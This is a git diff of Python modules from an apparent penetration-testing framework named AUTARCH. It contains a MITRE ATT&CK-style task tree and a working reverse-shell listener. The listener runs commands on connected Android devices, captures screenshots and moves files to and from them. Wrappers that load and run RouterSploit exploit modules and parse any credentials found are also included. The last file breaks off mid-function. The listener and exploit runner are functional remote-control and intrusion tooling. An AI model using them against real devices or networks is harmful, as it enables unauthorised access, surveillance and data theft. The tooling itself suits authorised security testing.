def get_subtree(self, node_id: str) -> List[PTTNode]:
"""Get all nodes in a subtree (including the root)."""
node = self.nodes.get(node_id)
if not node:
return []
result = [node]
for child_id in node.children:
result.extend(self.get_subtree(child_id))
return result
def find_node_by_label(self, label: str) -> Optional[PTTNode]:
"""Find a node by label (case-insensitive partial match)."""
label_lower = label.lower()
for node in self.nodes.values():
if label_lower in node.label.lower():
return node
return None
def get_stats(self) -> Dict[str, int]:
"""Get tree statistics."""
stats = {'total': len(self.nodes)}
for status in NodeStatus:
stats[status.value] = len(self.get_all_by_status(status))
return stats
def render_text(self) -> str:
"""Render full tree as indented text for terminal display."""
if not self.root_nodes:
return " (empty tree)"
lines = [f"Target: {self.target}"]
lines.append("")
for root_id in self.root_nodes:
self._render_node(root_id, lines, indent=0)
return "\n".join(lines)
def _render_node(self, node_id: str, lines: List[str], indent: int):
node = self.nodes.get(node_id)
if not node:
return
prefix = " " * indent
symbol = _STATUS_SYMBOLS.get(node.status, '[ ]')
priority_str = f" P{node.priority}" if node.priority != 3 else ""
lines.append(f"{prefix}{symbol} {node.label}{priority_str}")
if node.findings:
for finding in node.findings[:3]:
lines.append(f"{prefix} -> {finding}")
for child_id in node.children:
self._render_node(child_id, lines, indent + 1)
def render_summary(self) -> str:
"""Render compact summary for LLM context injection.
Designed to fit within tight token budgets (4096 ctx).
Only shows TODO and IN_PROGRESS nodes with minimal detail.
"""
stats = self.get_stats()
lines = [
f"Target: {self.target}",
f"Nodes: {stats['total']} total, {stats['todo']} todo, "
f"{stats['completed']} done, {stats['in_progress']} active",
]
# Show active and todo nodes only
active = self.get_all_by_status(NodeStatus.IN_PROGRESS)
todos = sorted(
self.get_all_by_status(NodeStatus.TODO),
key=lambda n: n.priority
)
if active:
lines.append("Active:")
for n in active:
lines.append(f" [{n.id}] {n.label}")
if todos:
lines.append("Todo:")
for n in todos[:5]:
lines.append(f" [{n.id}] P{n.priority} {n.label}")
if len(todos) > 5:
lines.append(f" ... and {len(todos) - 5} more")
# Show recent findings (last 5)
all_findings = []
for node in self.nodes.values():
if node.findings:
for f in node.findings:
all_findings.append(f)
if all_findings:
lines.append("Key findings:")
for f in all_findings[-5:]:
lines.append(f" - {f}")
return "\n".join(lines)
def initialize_standard_branches(self):
"""Create standard MITRE ATT&CK-aligned top-level branches."""
branches = [
("Reconnaissance", PTTNodeType.RECONNAISSANCE, 1,
"Information gathering and target enumeration"),
("Initial Access", PTTNodeType.INITIAL_ACCESS, 2,
"Gaining initial foothold on target"),
("Privilege Escalation", PTTNodeType.PRIVILEGE_ESCALATION, 3,
"Escalating from initial access to higher privileges"),
("Lateral Movement", PTTNodeType.LATERAL_MOVEMENT, 4,
"Moving to other systems in the network"),
("Credential Access", PTTNodeType.CREDENTIAL_ACCESS, 3,
"Obtaining credentials and secrets"),
("Persistence", PTTNodeType.PERSISTENCE, 5,
"Maintaining access to compromised systems"),
]
for label, ntype, priority, details in branches:
self.add_node(
label=label,
node_type=ntype,
priority=priority,
details=details,
)
def to_dict(self) -> dict:
return {
'target': self.target,
'created_at': self.created_at,
'updated_at': self.updated_at,
'root_nodes': self.root_nodes.copy(),
'nodes': {nid: n.to_dict() for nid, n in self.nodes.items()},
}
@classmethod
def from_dict(cls, data: dict) -> 'PentestTree':
tree = cls(target=data['target'])
tree.created_at = data.get('created_at', '')
tree.updated_at = data.get('updated_at', '')
tree.root_nodes = data.get('root_nodes', [])
for nid, ndata in data.get('nodes', {}).items():
tree.nodes[nid] = PTTNode.from_dict(ndata)
return tree

1137
core/report_generator.py Normal file

File diff suppressed because it is too large Load Diff

493
core/revshell.py Normal file
View File

@ -0,0 +1,493 @@
"""
AUTARCH Reverse Shell Listener
Accepts incoming reverse shell connections from the Archon Android companion app.
Protocol: JSON over TCP, newline-delimited. Matches ArchonShell.java.
Auth handshake:
Client Server: {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
Server Client: {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
Command flow:
Server Client: {"type":"cmd","cmd":"ls","timeout":30,"id":"abc"}
Client Server: {"type":"result","id":"abc","stdout":"...","stderr":"...","exit_code":0}
Special commands: __sysinfo__, __packages__, __screenshot__, __download__, __upload__,
__processes__, __netstat__, __dumplog__, __disconnect__
"""
import base64
import json
import logging
import os
import socket
import threading
import time
import uuid
from datetime import datetime
from pathlib import Path
from typing import Optional, Dict, List, Any, Tuple
from core.paths import get_data_dir
logger = logging.getLogger('autarch.revshell')
class RevShellSession:
"""Active reverse shell session with an Archon device."""
def __init__(self, sock: socket.socket, device_info: dict, session_id: str):
self.socket = sock
self.device_info = device_info
self.session_id = session_id
self.connected_at = datetime.now()
self.command_log: List[dict] = []
self._lock = threading.Lock()
self._reader = sock.makefile('r', encoding='utf-8', errors='replace')
self._writer = sock.makefile('w', encoding='utf-8', errors='replace')
self._alive = True
self._cmd_counter = 0
@property
def alive(self) -> bool:
return self._alive
@property
def device_name(self) -> str:
return self.device_info.get('device', 'unknown')
@property
def android_version(self) -> str:
return self.device_info.get('android', '?')
@property
def uid(self) -> int:
return self.device_info.get('uid', -1)
@property
def uptime(self) -> float:
return (datetime.now() - self.connected_at).total_seconds()
def execute(self, command: str, timeout: int = 30) -> dict:
"""Send a command and wait for result. Returns {stdout, stderr, exit_code}."""
with self._lock:
if not self._alive:
return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1}
self._cmd_counter += 1
cmd_id = f"cmd_{self._cmd_counter}"
msg = json.dumps({
'type': 'cmd',
'cmd': command,
'timeout': timeout,
'id': cmd_id
})
try:
self._writer.write(msg + '\n')
self._writer.flush()
# Read response (with extended timeout for command execution)
self.socket.settimeout(timeout + 10)
response_line = self._reader.readline()
if not response_line:
self._alive = False
return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1}
result = json.loads(response_line)
# Log command
self.command_log.append({
'time': datetime.now().isoformat(),
'cmd': command,
'exit_code': result.get('exit_code', -1)
})
return {
'stdout': result.get('stdout', ''),
'stderr': result.get('stderr', ''),
'exit_code': result.get('exit_code', -1)
}
except (socket.timeout, OSError, json.JSONDecodeError) as e:
logger.error(f"Session {self.session_id}: execute error: {e}")
self._alive = False
return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1}
def execute_special(self, command: str, **kwargs) -> dict:
"""Execute a special command with extra parameters."""
with self._lock:
if not self._alive:
return {'stdout': '', 'stderr': 'Session disconnected', 'exit_code': -1}
self._cmd_counter += 1
cmd_id = f"cmd_{self._cmd_counter}"
msg = {'type': 'cmd', 'cmd': command, 'id': cmd_id, 'timeout': 60}
msg.update(kwargs)
try:
self._writer.write(json.dumps(msg) + '\n')
self._writer.flush()
self.socket.settimeout(70)
response_line = self._reader.readline()
if not response_line:
self._alive = False
return {'stdout': '', 'stderr': 'Connection closed', 'exit_code': -1}
return json.loads(response_line)
except (socket.timeout, OSError, json.JSONDecodeError) as e:
logger.error(f"Session {self.session_id}: special cmd error: {e}")
self._alive = False
return {'stdout': '', 'stderr': f'Communication error: {e}', 'exit_code': -1}
def sysinfo(self) -> dict:
"""Get device system information."""
return self.execute('__sysinfo__')
def packages(self) -> dict:
"""List installed packages."""
return self.execute('__packages__', timeout=30)
def screenshot(self) -> Optional[bytes]:
"""Capture screenshot. Returns PNG bytes or None."""
result = self.execute('__screenshot__', timeout=30)
if result['exit_code'] != 0:
return None
try:
return base64.b64decode(result['stdout'])
except Exception:
return None
def download(self, remote_path: str) -> Optional[Tuple[bytes, str]]:
"""Download file from device. Returns (data, filename) or None."""
result = self.execute_special('__download__', path=remote_path)
if result.get('exit_code', -1) != 0:
return None
try:
data = base64.b64decode(result.get('stdout', ''))
filename = result.get('filename', os.path.basename(remote_path))
return (data, filename)
except Exception:
return None
def upload(self, local_path: str, remote_path: str) -> dict:
"""Upload file to device."""
try:
with open(local_path, 'rb') as f:
data = base64.b64encode(f.read()).decode('ascii')
except IOError as e:
return {'stdout': '', 'stderr': f'Failed to read local file: {e}', 'exit_code': -1}
return self.execute_special('__upload__', path=remote_path, data=data)
def processes(self) -> dict:
"""List running processes."""
return self.execute('__processes__', timeout=10)
def netstat(self) -> dict:
"""Get network connections."""
return self.execute('__netstat__', timeout=10)
def dumplog(self, lines: int = 100) -> dict:
"""Get logcat output."""
return self.execute_special('__dumplog__', lines=min(lines, 5000))
def ping(self) -> bool:
"""Send keepalive ping."""
with self._lock:
if not self._alive:
return False
try:
self._writer.write('{"type":"ping"}\n')
self._writer.flush()
self.socket.settimeout(10)
response = self._reader.readline()
if not response:
self._alive = False
return False
result = json.loads(response)
return result.get('type') == 'pong'
except Exception:
self._alive = False
return False
def disconnect(self):
"""Gracefully disconnect the session."""
with self._lock:
if not self._alive:
return
try:
self._writer.write('{"type":"disconnect"}\n')
self._writer.flush()
except Exception:
pass
self._alive = False
try:
self.socket.close()
except Exception:
pass
def to_dict(self) -> dict:
"""Serialize session info for API responses."""
return {
'session_id': self.session_id,
'device': self.device_name,
'android': self.android_version,
'uid': self.uid,
'connected_at': self.connected_at.isoformat(),
'uptime': int(self.uptime),
'commands_executed': len(self.command_log),
'alive': self._alive,
}
class RevShellListener:
"""TCP listener for incoming Archon reverse shell connections."""
def __init__(self, host: str = '0.0.0.0', port: int = 17322, auth_token: str = None):
self.host = host
self.port = port
self.auth_token = auth_token or uuid.uuid4().hex[:32]
self.sessions: Dict[str, RevShellSession] = {}
self._server_socket: Optional[socket.socket] = None
self._accept_thread: Optional[threading.Thread] = None
self._keepalive_thread: Optional[threading.Thread] = None
self._running = False
self._lock = threading.Lock()
# Data directory for screenshots, downloads, etc.
self._data_dir = get_data_dir() / 'revshell'
self._data_dir.mkdir(parents=True, exist_ok=True)
@property
def running(self) -> bool:
return self._running
@property
def active_sessions(self) -> List[RevShellSession]:
return [s for s in self.sessions.values() if s.alive]
def start(self) -> Tuple[bool, str]:
"""Start listening for incoming reverse shell connections."""
if self._running:
return (False, 'Listener already running')
try:
self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._server_socket.settimeout(2.0) # Accept timeout for clean shutdown
self._server_socket.bind((self.host, self.port))
self._server_socket.listen(5)
except OSError as e:
return (False, f'Failed to bind {self.host}:{self.port}: {e}')
self._running = True
self._accept_thread = threading.Thread(target=self._accept_loop, daemon=True)
self._accept_thread.start()
self._keepalive_thread = threading.Thread(target=self._keepalive_loop, daemon=True)
self._keepalive_thread.start()
logger.info(f"RevShell listener started on {self.host}:{self.port}")
logger.info(f"Auth token: {self.auth_token}")
return (True, f'Listening on {self.host}:{self.port}')
def stop(self):
"""Stop listener and disconnect all sessions."""
self._running = False
# Disconnect all sessions
for session in list(self.sessions.values()):
try:
session.disconnect()
except Exception:
pass
# Close server socket
if self._server_socket:
try:
self._server_socket.close()
except Exception:
pass
# Wait for threads
if self._accept_thread:
self._accept_thread.join(timeout=5)
if self._keepalive_thread:
self._keepalive_thread.join(timeout=5)
logger.info("RevShell listener stopped")
def get_session(self, session_id: str) -> Optional[RevShellSession]:
"""Get session by ID."""
return self.sessions.get(session_id)
def list_sessions(self) -> List[dict]:
"""List all sessions with their info."""
return [s.to_dict() for s in self.sessions.values()]
def remove_session(self, session_id: str):
"""Disconnect and remove a session."""
session = self.sessions.pop(session_id, None)
if session:
session.disconnect()
def save_screenshot(self, session_id: str) -> Optional[str]:
"""Capture and save screenshot. Returns file path or None."""
session = self.get_session(session_id)
if not session or not session.alive:
return None
png_data = session.screenshot()
if not png_data:
return None
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
filename = f'screenshot_{session.device_name}_{timestamp}.png'
filepath = self._data_dir / filename
filepath.write_bytes(png_data)
return str(filepath)
def save_download(self, session_id: str, remote_path: str) -> Optional[str]:
"""Download file from device and save locally. Returns local path or None."""
session = self.get_session(session_id)
if not session or not session.alive:
return None
result = session.download(remote_path)
if not result:
return None
data, filename = result
filepath = self._data_dir / filename
filepath.write_bytes(data)
return str(filepath)
# ── Internal ────────────────────────────────────────────────────
def _accept_loop(self):
"""Accept incoming connections in background thread."""
while self._running:
try:
client_sock, addr = self._server_socket.accept()
client_sock.settimeout(30)
logger.info(f"Connection from {addr[0]}:{addr[1]}")
# Handle auth in a separate thread to not block accept
threading.Thread(
target=self._handle_new_connection,
args=(client_sock, addr),
daemon=True
).start()
except socket.timeout:
continue
except OSError:
if self._running:
logger.error("Accept error")
break
def _handle_new_connection(self, sock: socket.socket, addr: tuple):
"""Authenticate a new connection."""
try:
reader = sock.makefile('r', encoding='utf-8', errors='replace')
writer = sock.makefile('w', encoding='utf-8', errors='replace')
# Read auth message
auth_line = reader.readline()
if not auth_line:
sock.close()
return
auth_msg = json.loads(auth_line)
if auth_msg.get('type') != 'auth':
writer.write('{"type":"auth_fail","reason":"Expected auth message"}\n')
writer.flush()
sock.close()
return
# Verify token
if auth_msg.get('token') != self.auth_token:
logger.warning(f"Auth failed from {addr[0]}:{addr[1]}")
writer.write('{"type":"auth_fail","reason":"Invalid token"}\n')
writer.flush()
sock.close()
return
# Auth OK — create session
writer.write('{"type":"auth_ok"}\n')
writer.flush()
session_id = uuid.uuid4().hex[:12]
device_info = {
'device': auth_msg.get('device', 'unknown'),
'android': auth_msg.get('android', '?'),
'uid': auth_msg.get('uid', -1),
'remote_addr': f"{addr[0]}:{addr[1]}"
}
session = RevShellSession(sock, device_info, session_id)
with self._lock:
self.sessions[session_id] = session
logger.info(f"Session {session_id}: {device_info['device']} "
f"(Android {device_info['android']}, UID {device_info['uid']})")
except (json.JSONDecodeError, OSError) as e:
logger.error(f"Auth error from {addr[0]}:{addr[1]}: {e}")
try:
sock.close()
except Exception:
pass
def _keepalive_loop(self):
"""Periodically ping sessions and remove dead ones."""
while self._running:
time.sleep(30)
dead = []
for sid, session in list(self.sessions.items()):
if not session.alive:
dead.append(sid)
continue
# Ping to check liveness
if not session.ping():
dead.append(sid)
logger.info(f"Session {sid} lost (keepalive failed)")
for sid in dead:
self.sessions.pop(sid, None)
# ── Singleton ───────────────────────────────────────────────────────
_listener: Optional[RevShellListener] = None
def get_listener() -> RevShellListener:
"""Get or create the global RevShellListener singleton."""
global _listener
if _listener is None:
_listener = RevShellListener()
return _listener
def start_listener(host: str = '0.0.0.0', port: int = 17322,
token: str = None) -> Tuple[bool, str]:
"""Start the global listener."""
global _listener
_listener = RevShellListener(host=host, port=port, auth_token=token)
return _listener.start()
def stop_listener():
"""Stop the global listener."""
global _listener
if _listener:
_listener.stop()
_listener = None

450
core/rsf.py Normal file
View File

@ -0,0 +1,450 @@
"""
AUTARCH RouterSploit Framework Wrapper
Low-level interface for RouterSploit module discovery, import, and execution.
Direct Python import -- no RPC layer needed since RSF is pure Python.
"""
import sys
import os
import re
import threading
import importlib
from io import StringIO
from dataclasses import dataclass, field
from typing import Optional, List, Dict, Tuple, Any
from contextlib import contextmanager
from .config import get_config
class RSFError(Exception):
"""Custom exception for RouterSploit operations."""
pass
@dataclass
class RSFModuleInfo:
"""Metadata for a RouterSploit module."""
name: str = ""
path: str = ""
description: str = ""
authors: Tuple[str, ...] = ()
devices: Tuple[str, ...] = ()
references: Tuple[str, ...] = ()
options: List[Dict[str, Any]] = field(default_factory=list)
module_type: str = "" # exploits, creds, scanners, payloads, encoders, generic
class RSFManager:
"""Manager for RouterSploit framework operations.
Handles sys.path setup, module discovery, dynamic import,
option introspection, stdout capture, and execution.
"""
def __init__(self):
self._available = None
self._module_index = None
self._path_added = False
def _ensure_path(self):
"""Add RSF install path to sys.path if not already present."""
if self._path_added:
return
config = get_config()
install_path = config.get('rsf', 'install_path', '')
if install_path and install_path not in sys.path:
sys.path.insert(0, install_path)
self._path_added = True
@property
def is_available(self) -> bool:
"""Check if RouterSploit is importable. Caches result."""
if self._available is not None:
return self._available
try:
self._ensure_path()
import routersploit
self._available = True
except ImportError:
self._available = False
return self._available
def reset_cache(self):
"""Reset cached state (availability, module index)."""
self._available = None
self._module_index = None
self._path_added = False
def index_all_modules(self) -> List[str]:
"""Discover all RSF modules. Returns list of dotted module paths.
Uses routersploit.core.exploit.utils.index_modules() internally.
Results are cached after first call.
Returns:
List of module paths like 'exploits/routers/dlink/some_module'
"""
if self._module_index is not None:
return self._module_index
if not self.is_available:
raise RSFError("RouterSploit is not available")
try:
self._ensure_path()
from routersploit.core.exploit import utils
modules_dir = os.path.join(
os.path.dirname(utils.__file__),
'..', '..', 'modules'
)
modules_dir = os.path.normpath(modules_dir)
if not os.path.isdir(modules_dir):
# Try from config path
config = get_config()
install_path = config.get('rsf', 'install_path', '')
modules_dir = os.path.join(install_path, 'routersploit', 'modules')
raw_index = utils.index_modules(modules_dir)
# Convert dotted paths to slash paths for display
self._module_index = []
for mod_path in raw_index:
# Remove 'routersploit.modules.' prefix if present
clean = mod_path
for prefix in ('routersploit.modules.', 'modules.'):
if clean.startswith(prefix):
clean = clean[len(prefix):]
# Convert dots to slashes
clean = clean.replace('.', '/')
self._module_index.append(clean)
return self._module_index
except Exception as e:
raise RSFError(f"Failed to index modules: {e}")
def get_module_count(self) -> int:
"""Get total number of indexed modules."""
try:
return len(self.index_all_modules())
except RSFError:
return 0
def get_modules_by_type(self, module_type: str) -> List[str]:
"""Filter modules by type (exploits, creds, scanners, payloads, encoders, generic).
Args:
module_type: One of 'exploits', 'creds', 'scanners', 'payloads', 'encoders', 'generic'
Returns:
List of matching module paths
"""
all_modules = self.index_all_modules()
return [m for m in all_modules if m.startswith(module_type + '/')]
def search_modules(self, query: str) -> List[str]:
"""Search modules by substring match on path.
Args:
query: Search string (case-insensitive)
Returns:
List of matching module paths
"""
all_modules = self.index_all_modules()
query_lower = query.lower()
return [m for m in all_modules if query_lower in m.lower()]
def _dotted_path(self, slash_path: str) -> str:
"""Convert slash path to dotted import path.
Args:
slash_path: e.g. 'exploits/routers/dlink/some_module'
Returns:
Dotted path like 'routersploit.modules.exploits.routers.dlink.some_module'
"""
clean = slash_path.strip('/')
dotted = clean.replace('/', '.')
return f"routersploit.modules.{dotted}"
def load_module(self, path: str) -> Tuple[Any, RSFModuleInfo]:
"""Load a RouterSploit module by path.
Converts slash path to dotted import path, imports using
import_exploit(), instantiates, and extracts metadata.
Args:
path: Module path like 'exploits/routers/dlink/some_module'
Returns:
Tuple of (module_instance, RSFModuleInfo)
Raises:
RSFError: If module cannot be loaded
"""
if not self.is_available:
raise RSFError("RouterSploit is not available")
try:
self._ensure_path()
from routersploit.core.exploit.utils import import_exploit
dotted = self._dotted_path(path)
module_class = import_exploit(dotted)
instance = module_class()
# Extract __info__ dict
info_dict = {}
# RSF metaclass renames __info__ to _ClassName__info__
for attr in dir(instance):
if attr.endswith('__info__') or attr == '__info__':
try:
info_dict = getattr(instance, attr)
if isinstance(info_dict, dict):
break
except AttributeError:
continue
# If not found via mangled name, try class hierarchy
if not info_dict:
for klass in type(instance).__mro__:
mangled = f"_{klass.__name__}__info__"
if hasattr(klass, mangled):
info_dict = getattr(klass, mangled)
if isinstance(info_dict, dict):
break
# Extract options
options = self.get_module_options(instance)
# Determine module type from path
parts = path.split('/')
module_type = parts[0] if parts else ""
module_info = RSFModuleInfo(
name=info_dict.get('name', path.split('/')[-1]),
path=path,
description=info_dict.get('description', ''),
authors=info_dict.get('authors', ()),
devices=info_dict.get('devices', ()),
references=info_dict.get('references', ()),
options=options,
module_type=module_type,
)
return instance, module_info
except Exception as e:
raise RSFError(f"Failed to load module '{path}': {e}")
def get_module_options(self, instance) -> List[Dict[str, Any]]:
"""Introspect Option descriptors on a module instance.
Uses RSF's exploit_attributes metaclass aggregator to get
option names, then reads descriptor properties for details.
Args:
instance: Instantiated RSF module
Returns:
List of dicts with keys: name, type, default, description, current, advanced
"""
options = []
# Try exploit_attributes first (set by metaclass)
exploit_attrs = getattr(type(instance), 'exploit_attributes', {})
if exploit_attrs:
for name, attr_info in exploit_attrs.items():
# attr_info is [display_value, description, advanced]
display_value = attr_info[0] if len(attr_info) > 0 else ""
description = attr_info[1] if len(attr_info) > 1 else ""
advanced = attr_info[2] if len(attr_info) > 2 else False
# Get current value from instance
try:
current = getattr(instance, name, display_value)
except Exception:
current = display_value
# Determine option type from the descriptor class
opt_type = "string"
for klass in type(instance).__mro__:
if name in klass.__dict__:
descriptor = klass.__dict__[name]
opt_type = type(descriptor).__name__.lower()
# Clean up: optip -> ip, optport -> port, etc.
opt_type = opt_type.replace('opt', '')
break
options.append({
'name': name,
'type': opt_type,
'default': display_value,
'description': description,
'current': str(current) if current is not None else "",
'advanced': advanced,
})
else:
# Fallback: inspect instance options property
opt_names = getattr(instance, 'options', [])
for name in opt_names:
try:
current = getattr(instance, name, "")
options.append({
'name': name,
'type': 'string',
'default': str(current),
'description': '',
'current': str(current) if current is not None else "",
'advanced': False,
})
except Exception:
continue
return options
def set_module_option(self, instance, name: str, value: str) -> bool:
"""Set an option on a module instance.
Args:
instance: RSF module instance
name: Option name
value: Value to set (string, will be validated by descriptor)
Returns:
True if set successfully
Raises:
RSFError: If option cannot be set
"""
try:
setattr(instance, name, value)
return True
except Exception as e:
raise RSFError(f"Failed to set option '{name}': {e}")
@contextmanager
def capture_output(self):
"""Context manager to capture stdout/stderr from RSF modules.
RSF modules print directly via their printer system. This
redirects stdout/stderr to StringIO for capturing output.
Yields:
StringIO object containing captured output
"""
captured = StringIO()
old_stdout = sys.stdout
old_stderr = sys.stderr
try:
sys.stdout = captured
sys.stderr = captured
yield captured
finally:
sys.stdout = old_stdout
sys.stderr = old_stderr
def execute_check(self, instance, timeout: int = 60) -> Tuple[Optional[bool], str]:
"""Run check() on a module with stdout capture and timeout.
check() is the safe vulnerability verification method.
Args:
instance: RSF module instance (already configured)
timeout: Timeout in seconds
Returns:
Tuple of (result, output) where result is True/False/None
"""
result = [None]
output = [""]
error = [None]
def _run():
try:
with self.capture_output() as captured:
check_result = instance.check()
result[0] = check_result
output[0] = captured.getvalue()
except Exception as e:
error[0] = e
try:
output[0] = captured.getvalue()
except Exception:
pass
thread = threading.Thread(target=_run, daemon=True)
thread.start()
thread.join(timeout=timeout)
if thread.is_alive():
return None, output[0] + "\n[!] Module execution timed out"
if error[0]:
return None, output[0] + f"\n[-] Error: {error[0]}"
return result[0], output[0]
def execute_run(self, instance, timeout: int = 120) -> Tuple[bool, str]:
"""Run run() on a module with stdout capture and timeout.
run() is the full exploit execution method.
Args:
instance: RSF module instance (already configured)
timeout: Timeout in seconds
Returns:
Tuple of (completed, output) where completed indicates
whether execution finished within timeout
"""
completed = [False]
output = [""]
error = [None]
def _run():
try:
with self.capture_output() as captured:
instance.run()
completed[0] = True
output[0] = captured.getvalue()
except Exception as e:
error[0] = e
try:
output[0] = captured.getvalue()
except Exception:
pass
thread = threading.Thread(target=_run, daemon=True)
thread.start()
thread.join(timeout=timeout)
if thread.is_alive():
return False, output[0] + "\n[!] Module execution timed out"
if error[0]:
return False, output[0] + f"\n[-] Error: {error[0]}"
return completed[0], output[0]
# Singleton instance
_rsf_manager = None
def get_rsf_manager() -> RSFManager:
"""Get the global RSFManager singleton instance."""
global _rsf_manager
if _rsf_manager is None:
_rsf_manager = RSFManager()
return _rsf_manager

480
core/rsf_interface.py Normal file
View File

@ -0,0 +1,480 @@
"""
AUTARCH RouterSploit High-Level Interface
Clean API for RSF operations, mirroring core/msf_interface.py patterns.
Wraps RSFManager with result parsing and formatted output.
"""
import re
import time
from enum import Enum
from dataclasses import dataclass, field
from typing import Optional, List, Dict, Any
from .rsf import get_rsf_manager, RSFError, RSFModuleInfo
from .banner import Colors
class RSFStatus(Enum):
"""Status codes for RSF operations."""
SUCCESS = "success"
VULNERABLE = "vulnerable"
NOT_VULNERABLE = "not_vulnerable"
FAILED = "failed"
TIMEOUT = "timeout"
NOT_AVAILABLE = "not_available"
@dataclass
class RSFResult:
"""Result of an RSF module execution."""
status: RSFStatus
module_path: str
target: str = ""
# Raw and cleaned output
raw_output: str = ""
cleaned_output: str = ""
# Parsed results
successes: List[str] = field(default_factory=list) # [+] lines
info: List[str] = field(default_factory=list) # [*] lines
errors: List[str] = field(default_factory=list) # [-] lines
# Credential results
credentials: List[Dict[str, str]] = field(default_factory=list)
# Check result (True/False/None)
check_result: Optional[bool] = None
# Execution metadata
execution_time: float = 0.0
# ANSI escape code pattern
_ANSI_RE = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]|\x1b\([a-zA-Z]')
class RSFInterface:
"""High-level interface for RouterSploit operations.
Provides a clean API mirroring MSFInterface patterns:
- Module listing and search
- Module info and options
- Check (safe vulnerability verification)
- Run (full module execution)
- Output parsing and result formatting
"""
def __init__(self):
self._manager = get_rsf_manager()
def ensure_available(self) -> bool:
"""Check that RSF is importable and available.
Returns:
True if RSF is available
Raises:
RSFError: If RSF is not available
"""
if not self._manager.is_available:
raise RSFError(
"RouterSploit is not available. "
"Check install path in Settings > RouterSploit Settings."
)
return True
@property
def is_available(self) -> bool:
"""Check if RSF is available without raising."""
return self._manager.is_available
@property
def module_count(self) -> int:
"""Get total number of available modules."""
return self._manager.get_module_count()
def list_modules(self, module_type: str = None) -> List[str]:
"""List available modules, optionally filtered by type.
Combines live RSF index with curated library data.
Args:
module_type: Filter by type (exploits, creds, scanners, etc.)
Returns:
List of module paths
"""
self.ensure_available()
if module_type:
return self._manager.get_modules_by_type(module_type)
return self._manager.index_all_modules()
def search_modules(self, query: str) -> List[str]:
"""Search modules by keyword.
Searches both live RSF index and curated library.
Args:
query: Search string
Returns:
List of matching module paths
"""
self.ensure_available()
results = self._manager.search_modules(query)
# Also search curated library for richer matches
try:
from .rsf_modules import search_modules as search_curated
curated = search_curated(query)
curated_paths = [m['path'] for m in curated if 'path' in m]
# Merge without duplicates, curated first
seen = set(results)
for path in curated_paths:
if path not in seen:
results.append(path)
seen.add(path)
except ImportError:
pass
return results
def get_module_info(self, path: str) -> RSFModuleInfo:
"""Get metadata for a module.
Tries curated library first, falls back to live introspection.
Args:
path: Module path
Returns:
RSFModuleInfo with module metadata
"""
# Try curated library first
try:
from .rsf_modules import get_module_info as get_curated_info
curated = get_curated_info(path)
if curated:
parts = path.split('/')
return RSFModuleInfo(
name=curated.get('name', path.split('/')[-1]),
path=path,
description=curated.get('description', ''),
authors=tuple(curated.get('authors', ())),
devices=tuple(curated.get('devices', ())),
references=tuple(curated.get('references', ())),
module_type=parts[0] if parts else "",
)
except ImportError:
pass
# Fall back to live introspection
self.ensure_available()
_, info = self._manager.load_module(path)
return info
def get_module_options(self, path: str) -> List[Dict[str, Any]]:
"""Get configurable options for a module.
Args:
path: Module path
Returns:
List of option dicts with name, type, default, description, current
"""
self.ensure_available()
instance, _ = self._manager.load_module(path)
return self._manager.get_module_options(instance)
def check_module(self, path: str, options: Dict[str, str] = None,
timeout: int = None) -> RSFResult:
"""Run check() on a module -- safe vulnerability verification.
Args:
path: Module path
options: Dict of option_name -> value to set before running
timeout: Execution timeout in seconds (default from config)
Returns:
RSFResult with check results
"""
return self._execute_module(path, options, timeout, check_only=True)
def run_module(self, path: str, options: Dict[str, str] = None,
timeout: int = None) -> RSFResult:
"""Run run() on a module -- full exploit execution.
Args:
path: Module path
options: Dict of option_name -> value to set before running
timeout: Execution timeout in seconds (default from config)
Returns:
RSFResult with execution results
"""
return self._execute_module(path, options, timeout, check_only=False)
def _execute_module(self, path: str, options: Dict[str, str] = None,
timeout: int = None, check_only: bool = False) -> RSFResult:
"""Internal method to execute a module (check or run).
Args:
path: Module path
options: Option overrides
timeout: Timeout in seconds
check_only: If True, run check() instead of run()
Returns:
RSFResult
"""
if not self._manager.is_available:
return RSFResult(
status=RSFStatus.NOT_AVAILABLE,
module_path=path,
)
if timeout is None:
from .config import get_config
timeout = get_config().get_int('rsf', 'execution_timeout', 120)
start_time = time.time()
try:
# Load and configure module
instance, info = self._manager.load_module(path)
target = ""
if options:
for name, value in options.items():
self._manager.set_module_option(instance, name, value)
if name == 'target':
target = value
# Get target from instance if not in options
if not target:
target = str(getattr(instance, 'target', ''))
# Execute
if check_only:
check_result, raw_output = self._manager.execute_check(instance, timeout)
else:
completed, raw_output = self._manager.execute_run(instance, timeout)
check_result = None
execution_time = time.time() - start_time
cleaned = self._clean_output(raw_output)
successes, info_lines, errors, credentials = self._parse_output(cleaned)
# Determine status
if check_only:
if check_result is True:
status = RSFStatus.VULNERABLE
elif check_result is False:
status = RSFStatus.NOT_VULNERABLE
elif "[!]" in raw_output and "timed out" in raw_output.lower():
status = RSFStatus.TIMEOUT
else:
status = RSFStatus.FAILED
else:
if "[!]" in raw_output and "timed out" in raw_output.lower():
status = RSFStatus.TIMEOUT
elif errors and not successes:
status = RSFStatus.FAILED
elif successes or credentials:
status = RSFStatus.SUCCESS
elif completed:
status = RSFStatus.SUCCESS
else:
status = RSFStatus.FAILED
return RSFResult(
status=status,
module_path=path,
target=target,
raw_output=raw_output,
cleaned_output=cleaned,
successes=successes,
info=info_lines,
errors=errors,
credentials=credentials,
check_result=check_result,
execution_time=execution_time,
)
except RSFError as e:
return RSFResult(
status=RSFStatus.FAILED,
module_path=path,
target=options.get('target', '') if options else '',
raw_output=str(e),
cleaned_output=str(e),
errors=[str(e)],
execution_time=time.time() - start_time,
)
def _clean_output(self, raw: str) -> str:
"""Strip ANSI escape codes from output.
Args:
raw: Raw output potentially containing ANSI codes
Returns:
Cleaned text
"""
if not raw:
return ""
return _ANSI_RE.sub('', raw)
def _parse_output(self, cleaned: str):
"""Parse cleaned output into categorized lines.
Categorizes lines by RSF prefix:
- [+] = success/finding
- [*] = informational
- [-] = error/failure
Also extracts credentials from common patterns.
Args:
cleaned: ANSI-stripped output
Returns:
Tuple of (successes, info, errors, credentials)
"""
successes = []
info_lines = []
errors = []
credentials = []
for line in cleaned.splitlines():
